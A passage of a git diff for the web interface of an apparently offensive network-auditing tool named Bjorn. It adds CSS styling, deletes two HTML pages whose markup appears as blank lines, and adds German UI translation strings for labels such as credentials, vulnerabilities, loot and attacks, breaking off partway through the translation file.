+.sheet-backdrop.show { + display: flex; +} + +.sheet { + width: min(520px, 94vw); + background: var(--grad-modal); + border: 1px solid var(--c-border-strong); + border-radius: 14px; + box-shadow: 0 40px 120px var(--glow-strong); + overflow: hidden; +} + +.sheet.show { + animation: pop .18s ease; +} + +.sheet-head { + display: flex; + align-items: center; + gap: 10px; + padding: 12px 14px; + border-bottom: 1px dashed var(--c-border-strong); +} + +.sheet-body { + padding: 14px; + display: grid; + gap: 12px; +} + +.sheet-foot { + display: flex; + justify-content: flex-end; + gap: 8px; + padding: 12px 14px; + border-top: 1px dashed var(--c-border); +} + +.field { + display: grid; + gap: 6px; +} + +/* Responsive modal */ +@media (max-width:900px) { + .modal { + grid-template-columns: 1fr; + } + + .tabs { + display: flex; + gap: 8px; + border-right: none; + border-bottom: 1px dashed var(--c-border-strong); + overflow-x: auto; + } + + .tabbtn { + flex: 1; + } + + .tabpanel { + overflow: hidden; + min-width: 0; + } + + .cfg-host { + overflow-x: hidden; + } + + .cfg-cards-grid { + grid-template-columns: 1fr; + } + + .cfg-field { + min-width: 0; + overflow: hidden; + } + + .cfg-chip-input { + min-width: 0; + overflow: hidden; + } + + .cfg-chip-input .input { + min-width: 0; + max-width: 100%; + box-sizing: border-box; + } + + .cfg-chip-list { + max-width: 100%; + overflow-x: auto; + } + + .cfg-number { + min-width: 0; + } + + .cfg-number .cfg-number-input { + min-width: 50px; + max-width: 100%; + } +} + +/* ---- Liveview dropdown (character hover) ---- */ +.bjorn-dropdown { + position: absolute; + display: none; + z-index: 10000; + background: #222; + border-radius: 8px; + box-shadow: 0 8px 24px rgba(0, 0, 0, .45); + bottom: calc(100% + 6px); + left: 50%; + transform: translateX(-50%); +} + +.status-center { + position: relative; +} + +/* ---- Launcher rail (old behavior) ---- */ +.launcher { + position: fixed; + top: 64px; + bottom: 64px; + right: 16px; + width: fit-content; + border-radius: 16px; + background: rgb(5 9 15 / 0%); + backdrop-filter: blur(6px); + border: 1px solid var(--c-border-strong); + box-shadow: 0 20px 60px #00ff9a22; + z-index: 70; + display: flex; + flex-direction: column; + gap: 10px; + padding: 10px; + opacity: 0; + pointer-events: none; + transform: translateX(16px); + transition: .2s ease; +} + +.launcher.show { + opacity: 1; + pointer-events: auto; + transform: translateX(0); +} + +.launcher-scroll { + flex: 1; + display: flex; + flex-direction: column; + gap: 12px; + overflow-y: auto; + overscroll-behavior: contain; + scrollbar-width: none; + scroll-behavior: smooth; + -webkit-overflow-scrolling: touch; +} + +.launcher-scroll::-webkit-scrollbar { + display: none; +} + +.launcher .lbtn { + all: unset; + display: flex; + flex-direction: column; + align-items: center; + justify-content: flex-start; + width: auto; + height: 90px; + cursor: pointer; + position: relative; + overflow: visible; + transition: .25s; + text-align: center; +} + +.launcher .lbtn img { + width: 64px; + height: 64px; + object-fit: contain; + opacity: .8; + transition: .25s; + margin-bottom: 4px; +} + +.launcher .lbtn:hover img { + opacity: 1; + transform: scale(1.1); +} + +.launcher .lbtn .lbtn-label { + font-size: 0.75rem; + line-height: 1.1; + color: var(--c-fg-soft, var(--muted)); + pointer-events: none; + text-shadow: 0 0 2px #000; + max-width: 100%; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.launcher .lbtn:hover .lbtn-label { + color: var(--acid); +} + +#launcher.launcher { + left: auto !important; + right: 16px !important; + inset-inline-start: auto; + inset-inline-end: 16px; +} + +/* ---- Navigation overlay (grid mode) ---- */ +.nav-overlay { + position: fixed; + inset: 0; + z-index: 75; + display: flex; + align-items: center; + justify-content: center; + background: rgba(5, 7, 9, .88); + backdrop-filter: blur(24px); + -webkit-backdrop-filter: blur(24px); + opacity: 0; + pointer-events: none; + transition: opacity .25s ease; +} + +.nav-overlay.show { + opacity: 1; + pointer-events: auto; +} + +.nav-grid-container { + width: min(88vw, 560px); + max-height: 80vh; + padding: 24px; + background: rgba(11, 18, 24, .5); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 40px 100px rgba(0, 0, 0, .6); + transform: scale(.92); + transition: transform .25s ease; + overflow-y: auto; + overflow-x: hidden; +} + +.nav-overlay.show .nav-grid-container { + transform: scale(1); +} + +.nav-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 16px; + justify-items: center; +} + +@media (max-width: 480px) { + .nav-grid { + grid-template-columns: repeat(3, 1fr); + } + + .nav-grid-container { + width: 94vw; + padding: 16px; + } +} + +.nav-grid .lbtn { + all: unset; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + gap: 6px; + width: 100%; + max-width: 100px; + aspect-ratio: 1; + background: rgba(255, 255, 255, .04); + border: 1px solid var(--c-border); + border-radius: 12px; + cursor: pointer; + transition: all .2s ease; +} + +.nav-grid .lbtn:hover { + background: rgba(0, 255, 154, .12); + border-color: var(--acid); + transform: scale(1.06); +} + +.nav-grid .lbtn img { + width: 48px; + height: 48px; + opacity: .9; + transition: opacity .2s; +} + +.nav-grid .lbtn:hover img { + opacity: 1; +} + +.nav-grid .lbtn .lbtn-label { + font-size: 0.7rem; + color: var(--muted); + text-align: center; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + max-width: 100%; +} + +.nav-grid .lbtn:hover .lbtn-label { + color: var(--acid); +} + +/* ---- Settings overlay ---- */ +.settings-overlay { + position: fixed; + inset: 0; + z-index: 210; + display: none; + justify-content: flex-end; + background: rgba(0, 0, 0, 0.5); +} + +.settings-overlay.show { + display: flex; +} + +.settings-panel { + width: min(400px, 90vw); + height: 100vh; + overflow-y: auto; + padding: 20px; + background: var(--grad-sidebar, linear-gradient(180deg, #0a1016, #05080c)); + border-left: 1px solid var(--c-border, #00ffff22); + box-shadow: -4px 0 20px rgba(0, 0, 0, 0.4); +} + +.settings-close { + font-size: 20px; + float: right; +} + +.settings-section { + margin-bottom: 24px; +} + +.settings-section h3 { + color: var(--acid, #00ff9a); + font-size: 16px; + margin-bottom: 12px; + padding-bottom: 6px; + border-bottom: 1px solid var(--c-border, #00ffff22); +} + +/* Theme editor */ +.theme-group { + margin-bottom: 16px; +} + +.theme-group-title { + color: var(--muted, #8affc1cc); + font-size: 12px; + text-transform: uppercase; + letter-spacing: 0.05em; + margin-bottom: 8px; +} + +.theme-row { + display: flex; + align-items: center; + gap: 8px; + margin-bottom: 6px; +} + +.theme-label { + flex: 1; + font-size: 13px; + color: var(--ink, #e6fff7); +} + +.theme-input { + width: 60px; + padding: 2px 4px; + background: var(--c-panel, #0b1218); + border: 1px solid var(--c-border, #00ffff22); + border-radius: 6px; + color: var(--ink, #e6fff7); +} + +input[type="color"].theme-input { + width: 36px; + height: 28px; + padding: 0; + cursor: pointer; +} + +.theme-raw-css { + width: 100%; + padding: 8px; + background: var(--c-panel, #0b1218); + border: 1px solid var(--c-border, #00ffff22); + border-radius: 8px; + color: var(--ink, #e6fff7); + font-family: monospace; + font-size: 12px; + resize: vertical; + margin-bottom: 8px; +} + +/* ---- Toast notifications ---- */ +.toast-container { + position: fixed; + bottom: calc(var(--h-bottombar, 56px) + 12px); + right: 12px; + z-index: 2800; + display: flex; + flex-direction: column; + gap: 6px; + pointer-events: none; +} + +.toast { + padding: 10px 16px; + border-radius: 10px; + font-size: 13px; + font-weight: 600; + pointer-events: auto; + animation: toastIn 0.2s ease; +} + +.toast-info { + background: var(--c-panel, #0b1218); + border: 1px solid var(--c-border, #00ffff22); + color: var(--ink, #e6fff7); +} + +.toast-success { + background: color-mix(in oklab, var(--ok, #2cff7e) 15%, var(--c-panel, #0b1218)); + border: 1px solid var(--ok, #2cff7e); + color: var(--ink, #e6fff7); +} + +.toast-error { + background: color-mix(in oklab, var(--danger, #ff3b3b) 15%, var(--c-panel, #0b1218)); + border: 1px solid var(--danger, #ff3b3b); + color: var(--ink, #e6fff7); +} + +.toast-warning { + background: color-mix(in oklab, var(--warning, #ffd166) 15%, var(--c-panel, #0b1218)); + border: 1px solid var(--warning, #ffd166); + color: var(--ink, #e6fff7); +} + +@keyframes toastIn { + from { + transform: translateY(10px); + opacity: 0; + } + + to { + transform: none; + opacity: 1; + } +} + +/* ---- General buttons ---- */ +.btn { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 6px 12px; + background: var(--c-btn, #0f1919); + border: 1px solid var(--c-border, #00ffff22); + border-radius: var(--control-r, 10px); + color: var(--ink, #e6fff7); + font-size: 13px; + font-weight: 600; + cursor: pointer; + transition: all 0.2s ease; + white-space: nowrap; +} + +.btn:hover { + border-color: var(--c-border-strong, #00ffff33); + box-shadow: 0 0 8px var(--glow-weak, rgba(0, 255, 154, 0.1)); +} + +.btn-sm { + padding: 4px 8px; + font-size: 12px; +} + +.btn-danger { + border-color: var(--danger, #ff3b3b); + color: var(--danger, #ff3b3b); +} + +.btn-primary { + background: linear-gradient(135deg, var(--accent, #22f0b4), var(--accent-2, #18d6ff)); + color: var(--ink-invert, #001014); + border-color: transparent; +} + +/* ---- Card ---- */ +.card { + border: 1px solid var(--c-border, #00ffff22); + background: var(--grad-card, linear-gradient(180deg, #0b1218, #070b10)); + border-radius: var(--radius, 14px); + box-shadow: var(--shadow, 0 10px 30px rgba(0, 255, 154, 0.1)); + padding: 12px; +} + +.head { + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; + margin-bottom: 10px; +} + +.head .title { + font-size: 18px; + font-weight: 800; + color: var(--acid, #00ff9a); +} + +.head .meta { + color: var(--muted, #8affc1cc); + font-size: 12px; +} + + + +/* ---- Dashboard page styles ---- */ +.dashboard-container { + display: flex; + flex-direction: column; + gap: 12px; + animation: fadeIn 0.4s ease; +} + +@keyframes fadeIn { + from { + opacity: 0; + transform: translateY(8px); + } + + to { + opacity: 1; + transform: none; + } +} + +.hero-grid { + display: grid; + gap: 12px; + grid-template-columns: 1fr; +} + +@media (min-width: 1024px) { + .hero-grid { + grid-template-columns: minmax(240px, 320px) 1fr minmax(220px, 300px); + } + + .hero-grid.two-col { + grid-template-columns: 1fr 1fr; + } +} + +/* Battery card */ +.battery-card.naked { + border: none; + background: transparent; + box-shadow: none; + padding: 0; + display: grid; + place-items: center; +} + +.battery-wrap { + position: relative; + width: clamp(180px, 46vw, 260px); + aspect-ratio: 1; + display: grid; + place-items: center; +} + +.battery-ring { + position: absolute; + inset: 0; + transform: rotate(-90deg); +} + +.batt-bg { + fill: none; + stroke: rgba(230, 255, 247, 0.1); + stroke-width: 4; +} + +.batt-fg { + fill: none; + stroke: url(#batt-grad); + stroke-width: 4; + stroke-linecap: round; + stroke-dasharray: 100; + stroke-dashoffset: 100; + transition: stroke-dashoffset 0.9s ease; +} + +.batt-fg.charging { + filter: url(#batt-glow); +} + +.batt-fg.no-battery { + stroke: rgba(180, 185, 195, 0.55); + filter: none; +} + +.batt-center { + position: absolute; + inset: 0; + display: grid; + align-content: center; + justify-items: center; + gap: 6px; +} + +.bjorn-portrait { + position: relative; + width: 64px; + height: 64px; + display: grid; + place-items: center; + overflow: hidden; +} + +.bjorn-portrait img { + width: 100%; + height: 100%; + object-fit: contain; +} + +.bjorn-lvl { + position: absolute; + right: -4px; + bottom: -4px; + font-size: 11px; + font-weight: 700; + padding: 2px 6px; + border-radius: 999px; + background: #0f1f18; + color: #d9ffe7; + border: 1px solid rgba(44, 255, 126, 0.4); +} + +.batt-val { + font-size: clamp(18px, 5vw, 24px); + font-weight: 800; +} + +.batt-state { + color: var(--muted); + font-size: 11px; + display: flex; + align-items: center; + gap: 6px; +} + +.batt-indicator { + width: 8px; + height: 8px; + border-radius: 999px; + background: #9da3b3; + box-shadow: 0 0 0 1px rgba(255, 255, 255, 0.06) inset; +} + +.batt-state.is-charging .batt-indicator { + background: #2cff7e; + box-shadow: 0 0 8px rgba(44, 255, 126, 0.65); +} + +.batt-state.is-discharging .batt-indicator { + background: #ffb347; + box-shadow: 0 0 8px rgba(255, 179, 71, 0.45); +} + +.batt-state.is-no-battery .batt-indicator { + background: #9aa2b1; + box-shadow: none; +} + +/* KPI grid */ +.kpi-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(100px, 1fr)); + gap: 8px; +} + +.kpi { + display: flex; + flex-direction: column; + align-items: center; + padding: 8px; + border: 1px solid var(--c-border, #00ffff22); + border-radius: 10px; + background: var(--c-panel-2, #0a1118); + text-align: center; +} + +.kpi-icon { + font-size: 18px; + margin-bottom: 2px; +} + +.kpi-val { + font-size: 20px; + font-weight: 800; + background: linear-gradient(135deg, var(--acid, #00ff9a), var(--acid-2, #18f0ff)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + background-clip: text; +} + +.kpi-label { + font-size: 10px; + color: var(--muted); + text-transform: uppercase; + letter-spacing: 0.05em; +} + +.vuln-delta { + font-size: 12px; + color: var(--muted); + padding: 4px 0; +} + +.vuln-delta.good { + color: var(--ok, #2cff7e); +} + +.vuln-delta.bad { + color: var(--danger, #ff3b3b); +} + +/* System bars */ +.sys-card { + display: flex; + flex-direction: column; + gap: 8px; + font-size: 13px; +} + +.sys-info { + font-size: 12px; + color: var(--muted); + display: flex; + flex-direction: column; + gap: 2px; + margin-bottom: 4px; +} + +.sys-bar-row { + display: flex; + align-items: center; + gap: 8px; +} + +.sys-bar-label { + width: 40px; + font-size: 11px; + color: var(--muted); + text-transform: uppercase; +} + +.sys-bar-val { + width: 40px; + font-size: 12px; + font-weight: 700; + text-align: right; +} + +.sys-bar { + flex: 1; + height: 6px; + background: var(--c-panel, #0b1218); + border-radius: 3px; + overflow: hidden; +} + +.sys-bar-fill { + height: 100%; + background: linear-gradient(90deg, var(--acid, #00ff9a), var(--acid-2, #18f0ff)); + border-radius: 3px; + transition: width 0.5s ease; + width: 0%; +} + +.sys-bar-detail { + font-size: 11px; + color: var(--muted); + white-space: nowrap; +} + +.sys-row { + font-size: 12px; + color: var(--muted); +} + +/* Connectivity card */ +.conn-card { + display: flex; + flex-direction: column; + gap: 6px; +} + +.conn-row { + display: flex; + align-items: center; + gap: 8px; + padding: 6px 8px; + border-radius: 8px; + transition: background 0.2s ease; +} + +.conn-row.on { + background: rgba(0, 255, 154, 0.06); +} + +.conn-row.off { + background: rgba(255, 59, 59, 0.04); +} + +.conn-icon { + font-size: 16px; + width: 24px; + text-align: center; +} + +.conn-label { + font-weight: 600; + font-size: 13px; + width: 60px; +} + +.conn-state { + font-weight: 700; + font-size: 12px; + width: 30px; +} + +.conn-details { + flex: 1; + overflow: hidden; +} + +.conn-detail-line { + font-size: 12px; + display: block; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.conn-under { + font-size: 11px; + color: var(--muted); + display: block; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.conn-extra { + font-size: 11px; + color: var(--muted); + padding: 0 8px; +} + +.net-badge { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 4px 10px; + border-radius: 999px; + border: 1px solid var(--c-border); + font-weight: 700; + font-size: 12px; +} + +.net-badge.net-on { + background: var(--ok, #2cff7e); + color: var(--ink-invert, #001014); +} + +.net-badge.net-off { + background: rgba(255, 59, 59, 0.12); + color: var(--ink); + border-color: var(--danger); +} + +/* ---- Page loading state ---- */ +.page-loading { + display: grid; + place-items: center; + min-height: 200px; + color: var(--muted); + font-size: 14px; +} + +/* ---- 404 ---- */ +.not-found { + display: grid; + place-items: center; + min-height: 300px; + text-align: center; + gap: 12px; +} + +.not-found a { + color: var(--acid, #00ff9a); + text-decoration: none; +} + + + + + +/* ---- Scrollbar ---- */ +::-webkit-scrollbar { + width: var(--sb-size, 10px); + height: var(--sb-size, 10px); +} + +::-webkit-scrollbar-track { + background: var(--sb-track, #07121a); +} + +::-webkit-scrollbar-thumb { + background: var(--sb-thumb, #09372b); + border-radius: 5px; +} + +::-webkit-scrollbar-thumb:hover { + background: var(--sb-thumb-hi, var(--acid, #00ff9a)); +} + +/* ---- Mobile ---- */ +@media (max-width: 700px) { + .topbar .label { + display: none; + } + + .launcher { + right: 8px; + padding: 8px; + } + + .launcher .lbtn img { + width: 56px; + height: 56px; + } + + .bjorn-say { + max-width: 120px; + } + + .status-text { + max-width: 100px; + } + + .hero-grid { + grid-template-columns: 1fr !important; + } + + .kpi-grid { + grid-template-columns: repeat(3, 1fr); + } +} diff --git a/web/database.html b/web/database.html deleted file mode 100644 index e65beca..0000000 --- a/web/database.html +++ /dev/null @@ -1,770 +0,0 @@ - - - - - Bjorn Cyberviking — DB Manager - - - - - - - - - - - - - -
                -
                -
                Database
                -
                - -
                -
                -
                -
                -
                Tables
                -
                - -
                -
                - 🔎 - -
                -
                -
                -
                -
                -
                -
                Utilities
                -
                -
                - - - -
                -
                -
                -
                -
                -
                - - -
                -
                -
                - -
                -
                - Bjorn - Select a table - -
                -
                -
                - - -
                -
                - - -
                - - -
                -
                - Every - - sec -
                - - - - - - - -
                - - -
                -
                -
                -
                - - -
                - - - - - - - - - - -
                —
                Pick a table on the left.
                -
                - - -
                -
                Ready.
                -
                -
                - - -
                -
                - - -
                -
                -
                -
                Columns
                -
                - -
                -
                -
                -
                -
                -
                -
                - - - - diff --git a/web/files_explorer.html b/web/files_explorer.html deleted file mode 100644 index 2afece9..0000000 --- a/web/files_explorer.html +++ /dev/null @@ -1,758 +0,0 @@ - - - - - - Bjorn Cyberviking - Files Explorer - - - - - - - - - - - - - - - -
                -
                - -
                -
                - - - - - - -
                - -
                - - -
                - -
                -
                - -
                -
                -
                - -
                -
                - - -
                - -
                - Drag files or folders here or click to upload -
                -
                -
                -
                - - - - - diff --git a/web/i18n/de.json b/web/i18n/de.json new file mode 100644 index 0000000..02149c9 --- /dev/null +++ b/web/i18n/de.json @@ -0,0 +1,781 @@ +{ + "nav.dashboard": "Dashboard", + "nav.bjorn": "Bjorn", + "nav.netkb": "Netzwerkwissen", + "nav.network": "Netzwerk", + "nav.credentials": "Anmeldedaten", + "nav.vulnerabilities": "Schwachstellen", + "nav.attacks": "Angriff", + "nav.scheduler": "Zeitplaner", + "nav.database": "Datenbank", + "nav.files": "Dateien", + "nav.loot": "Beute", + "nav.actions": "Aktionen", + "nav.actionsStudio": "Aktions-Studio", + "nav.backup": "Backup & Update", + "nav.webEnum": "Web-Enum", + "nav.zombieland": "Zombieland", + "nav.settings": "Einstellungen", + "nav.shortcuts": "Tastenkürzel", + "nav.pages": "Seiten", + "status.initializing": "Initialisierung...", + "status.online": "Online", + "status.offline": "Offline", + "console.title": "Konsole", + "console.clear": "Löschen", + "console.sseOn": "SSE Ein", + "console.sseOff": "SSE Aus", + "console.newLogs": "{{count}} neue Protokolle", + "settings.theme": "Design", + "settings.language": "Sprache", + "settings.general": "Allgemein", + "settings.toggles": "Optionen", + "settings.editValue": "Wert bearbeiten", + "settings.addValues": "Werte hinzufügen (kommagetrennt)...", + "settings.setValue": "Wert setzen...", + "settings.errorLoading": "Fehler beim Laden der Konfiguration", + "settings.configSaved": "Konfiguration gespeichert", + "settings.errorSaving": "Fehler beim Speichern der Konfiguration", + "settings.defaultsRestored": "Standardwerte wiederhergestellt", + "settings.errorRestoring": "Fehler beim Wiederherstellen der Standardwerte", + "theme.group.colors": "Farben", + "theme.group.surfaces": "Oberflächen", + "theme.group.layout": "Layout", + "theme.token.bg": "Hintergrund", + "theme.token.ink": "Textfarbe", + "theme.token.accent1": "Akzent 1 (Acid)", + "theme.token.accent2": "Akzent 2 (Cyan)", + "theme.token.danger": "Gefahr", + "theme.token.warning": "Warnung", + "theme.token.ok": "Erfolg", + "theme.token.panel": "Panel", + "theme.token.panel2": "Panel Alt", + "theme.token.ctrlPanel": "Steuerpanel", + "theme.token.border": "Rahmen", + "theme.token.radius": "Rahmenradius", + "theme.advanced": "Erweitertes CSS", + "theme.applyRaw": "Anwenden", + "theme.reset": "Zurücksetzen", + "dash.title": "Dashboard", + "dash.battery": "Batterie", + "dash.internet": "Internet", + "dash.cpu": "CPU", + "dash.ram": "RAM", + "dash.disk": "Festplatte", + "dash.temp": "Temp", + "dash.uptime": "Laufzeit", + "dash.hostsAlive": "Aktive Hosts", + "dash.totalHosts": "Hosts gesamt", + "dash.openPorts": "Offene Ports", + "dash.credentials": "Anmeldedaten", + "dash.vulnerabilities": "Schwachstellen", + "dash.actions": "Aktionen", + "dash.connected": "Verbunden", + "dash.disconnected": "Getrennt", + "dash.charging": "Lädt", + "dash.discharging": "Entlädt", + "dash.full": "Voll", + "dash.connectivity": "Konnektivität", + "dash.liveOps": "Live-Operationen", + "dash.tapRefresh": "Zum Aktualisieren tippen", + "dash.wifi": "WLAN", + "dash.ethernet": "Ethernet", + "dash.usb": "USB", + "dash.bluetooth": "Bluetooth", + "dash.mode": "Modus", + "dash.gps": "GPS", + "dash.age": "Alter von Bjorn", + "dash.plugged": "Eingesteckt", + "dash.noBattery": "Keine Batterie", + "dash.sinceScan": "seit letztem Scan", + "dash.wifiKnown": "Bekannte WLANs", + "dash.dataFiles": "Gesammelte Daten/Dateien", + "dash.fileDescriptors": "Dateideskriptoren", + "dash.attackScripts": "Angriffsskripte", + "dash.system": "System", + "dash.zombies": "Zombies", + "netkb.title": "Netzwerkwissensdatenbank", + "netkb.showOffline": "Offline anzeigen", + "netkb.gridView": "Gitter", + "netkb.listView": "Liste", + "netkb.hostname": "Hostname", + "netkb.ip": "IP-Adresse", + "netkb.mac": "MAC-Adresse", + "netkb.vendor": "Hersteller", + "netkb.ports": "Ports", + "netkb.essid": "ESSID", + "netkb.lastSeen": "Zuletzt gesehen", + "netkb.firstSeen": "Zuerst gesehen", + "netkb.online": "Online", + "netkb.offline": "Offline", + "netkb.openPorts": "Offene Ports", + "netkb.noHosts": "Keine Hosts gefunden", + "network.title": "Netzwerk-Visualisierung", + "network.tableView": "Tabelle", + "network.mapView": "Karte", + "network.hostname": "Hostname", + "network.ip": "IP-Adresse", + "network.mac": "MAC", + "network.ports": "Ports", + "network.status": "Status", + "network.searchPlaceholder": "Hosts suchen...", + "network.noData": "Keine Netzwerkdaten", + "creds.title": "Anmeldedaten", + "creds.total": "Gesamt", + "creds.unique": "Eindeutig", + "creds.types": "Typen", + "creds.username": "Benutzername", + "creds.password": "Passwort", + "creds.service": "Dienst", + "creds.host": "Host", + "creds.port": "Port", + "creds.type": "Typ", + "creds.timestamp": "Zeitstempel", + "creds.showPassword": "Passwort anzeigen", + "creds.hidePassword": "Passwort ausblenden", + "creds.copyPassword": "Kopieren", + "creds.exportAll": "Alle exportieren", + "creds.noCredentials": "Keine Anmeldedaten gefunden", + "vulns.title": "Schwachstellen-Board", + "vulns.total": "Gesamt", + "vulns.critical": "Kritisch", + "vulns.high": "Hoch", + "vulns.medium": "Mittel", + "vulns.low": "Niedrig", + "vulns.infoLevel": "Info", + "vulns.host": "Host", + "vulns.port": "Port", + "vulns.service": "Dienst", + "vulns.severity": "Schweregrad", + "vulns.description": "Beschreibung", + "vulns.cve": "CVE", + "vulns.scanDate": "Scan-Datum", + "vulns.details": "Details", + "vulns.noVulns": "Keine Schwachstellen gefunden", + "vulns.byHost": "Nach Host", + "vulns.bySeverity": "Nach Schweregrad", + "vulns.byService": "Nach Dienst", + "attacks.title": "Angriffs-Manager", + "attacks.running": "Läuft", + "attacks.completed": "Abgeschlossen", + "attacks.failed": "Fehlgeschlagen", + "attacks.queued": "Warteschlange", + "attacks.start": "Starten", + "attacks.stop": "Stoppen", + "attacks.restart": "Neustarten", + "attacks.status": "Status", + "attacks.target": "Ziel", + "attacks.action": "Aktion", + "attacks.duration": "Dauer", + "attacks.progress": "Fortschritt", + "attacks.noAttacks": "Keine laufenden Angriffe", + "sched.title": "Aktions-Planer", + "sched.pending": "Ausstehend", + "sched.running": "Läuft", + "sched.done": "Erledigt", + "sched.failed": "Fehlgeschlagen", + "sched.all": "Alle", + "sched.searchPlaceholder": "Aufgaben suchen...", + "sched.noTasks": "Keine Aufgaben gefunden", + "sched.stats": "{{running}} laufend / {{pending}} ausstehend / {{done}} erledigt", + "db.title": "Datenbank-Manager", + "db.tables": "Tabellen", + "db.rows": "Zeilen", + "db.columns": "Spalten", + "db.search": "Tabellen suchen...", + "db.searchRows": "Zeilen suchen...", + "db.export": "Exportieren", + "db.import": "Importieren", + "db.addRow": "Zeile hinzufügen", + "db.deleteRow": "Zeile löschen", + "db.deleteSelected": "Ausgewählte löschen", + "db.saveChanges": "Speichern", + "db.discardChanges": "Verwerfen", + "db.confirmDelete": "Löschen bestätigen?", + "db.noTables": "Keine Tabellen gefunden", + "db.noData": "Keine Daten in dieser Tabelle", + "db.hide": "Ausblenden", + "db.showSidebar": "Seitenleiste anzeigen", + "files.title": "Datei-Explorer", + "files.gridView": "Gitter", + "files.listView": "Liste", + "files.size": "Größe", + "files.modified": "Geändert", + "files.name": "Name", + "files.type": "Typ", + "files.download": "Herunterladen", + "files.preview": "Vorschau", + "files.noFiles": "Keine Dateien gefunden", + "files.parentDir": "Übergeordnetes Verzeichnis", + "files.searchPlaceholder": "Dateien suchen...", + "loot.title": "Beute", + "loot.directories": "Verzeichnisse", + "loot.totalFiles": "Dateien gesamt", + "loot.totalSize": "Gesamtgröße", + "loot.download": "Herunterladen", + "loot.downloadAll": "Alle herunterladen", + "loot.noLoot": "Keine Beute gefunden", + "loot.explore": "Erkunden", + "actions.title": "Aktions-Manager", + "actions.available": "Verfügbar", + "actions.enabled": "Aktiviert", + "actions.disabled": "Deaktiviert", + "actions.category": "Kategorie", + "actions.enableAll": "Alle aktivieren", + "actions.disableAll": "Alle deaktivieren", + "actions.import": "Importieren", + "actions.export": "Exportieren", + "actions.noActions": "Keine Aktionen gefunden", + "actions.description": "Beschreibung", + "actions.menu.restartService": "Bjorn-Dienst neustarten", + "actions.menu.deleteActionStatus": "Alle Aktions-Stati löschen", + "actions.menu.clearOutput": "Output-Ordner leeren", + "actions.menu.clearLogs": "Protokolle löschen", + "actions.menu.reloadImages": "Bilder neu laden (experimentell)", + "actions.menu.reloadFonts": "Schriftarten neu laden", + "actions.menu.reloadActionsJson": "Aktions-JSON neu laden", + "actions.menu.initializeCsv": "CSV-Dateien initialisieren", + "actions.menu.clearLivestatus": "Livestatus-Datei löschen", + "actions.menu.refreshActionsFile": "Aktions-Datei aktualisieren", + "actions.menu.clearNetkb": "Netzwerkwissen leeren", + "actions.menu.clearSharedConfig": "Geteilte Konfigurations-JSON löschen", + "actions.menu.eraseMemories": "Bjorns Gedächtnis löschen", + "actions.menu.reboot": "System neustarten", + "actions.menu.shutdown": "System herunterfahren", + "actions.tip.restartService": "Startet den Bjorn-Dienst neu, um seinen Zustand zu aktualisieren.", + "actions.tip.deleteActionStatus": "Löscht alle Erfolgs- und Fehlerstati von Aktionen/Angriffen in netkb.csv.", + "actions.tip.clearOutput": "Löscht alle Dateien in den Output-Ordnern und Unterordnern.", + "actions.tip.clearLogs": "Löscht alle Systemprotokolldateien.", + "actions.tip.reloadImages": "Lädt die vom System verwendeten Bilder neu.", + "actions.tip.reloadFonts": "Lädt die Anwendungsschriftarten neu.", + "actions.tip.reloadActionsJson": "Lädt die generierte Aktions-JSON-Datei neu.", + "actions.tip.initializeCsv": "Erstellt CSV- und JSON-Dateien neu.", + "actions.tip.clearLivestatus": "Löscht die Livestatus-Datei.", + "actions.tip.refreshActionsFile": "Aktualisiert die Aktionsdatei, um neue Aktionen einzubeziehen.", + "actions.tip.clearNetkb": "Löscht alle in der Netzwerkwissensdatenbank gespeicherten Informationen.", + "actions.tip.clearSharedConfig": "Löscht die geteilte Konfigurations-JSON-Datei.", + "actions.tip.eraseMemories": "Löscht Bjorns Gedächtnis und Einstellungen vollständig.", + "actions.tip.reboot": "Startet das gesamte System neu.", + "actions.tip.shutdown": "Fährt das System vollständig herunter.", + "actions.confirm.restartRecommended": "Neustart des Dienstes empfohlen. Jetzt neustarten?", + "actions.confirm.restartService": "Bjorn-Dienst neustarten?", + "actions.confirm.deleteActionStatus": "Alle gespeicherten Aktionsstati löschen?", + "actions.confirm.clearOutput": "Gesamten Output-Ordner leeren?", + "actions.confirm.clearLogs": "Alle Protokolldateien löschen?", + "actions.confirm.clearNetkb": "Netzwerkwissen leeren? Dies kann nicht rückgängig gemacht werden.", + "actions.confirm.clearLivestatus": "Livestatus-Datei löschen?", + "actions.confirm.refreshActionsFile": "Aktionsdatei aktualisieren?", + "actions.confirm.clearSharedConfig": "Geteilte Konfigurations-JSON löschen? Dies kann nicht rückgängig gemacht werden.", + "actions.confirm.eraseMemories": "Ganzes Gedächtnis und Einstellungen von Bjorn löschen? Dies kann nicht rückgängig gemacht werden.", + "actions.confirm.reboot": "Ganzes System neustarten?", + "actions.confirm.shutdown": "System herunterfahren?", + "actions.msg.restartingService": "Bjorn-Dienst startet neu...", + "actions.msg.restartFailed": "Neustart des Dienstes fehlgeschlagen", + "actions.msg.actionStatusDeleted": "Alle Aktionsstati wurden gelöscht.", + "actions.msg.outputCleared": "Output-Ordner wurde geleert.", + "actions.msg.logsCleared": "Protokolle wurden gelöscht.", + "actions.msg.netkbCleared": "Netzwerkwissen wurde geleert.", + "actions.msg.livestatusDeleted": "Livestatus-Datei wurde gelöscht.", + "actions.msg.actionsFileRefreshed": "Aktionsdatei wurde aktualisiert.", + "actions.msg.sharedConfigDeleted": "Geteilte Konfigurations-JSON wurde gelöscht.", + "actions.msg.memoriesErased": "Bjorns Gedächtnis wurde gelöscht.", + "actions.msg.rebooting": "System startet neu...", + "actions.msg.shuttingDown": "System fährt herunter...", + "actions.msg.csvInitialized": "CSV-Dateien wurden initialisiert.", + "actions.msg.actionsJsonReloaded": "Aktions-JSON wurde neu geladen.", + "actions.msg.imagesReloaded": "Bilder wurden neu geladen.", + "actions.msg.fontsReloaded": "Schriftarten wurden neu geladen.", + "actions.msg.unknownAction": "Unbekannte Aktion", + "actions.msg.actionFailed": "Aktion fehlgeschlagen", + "studio.title": "Aktions-Studio", + "studio.palette": "Palette", + 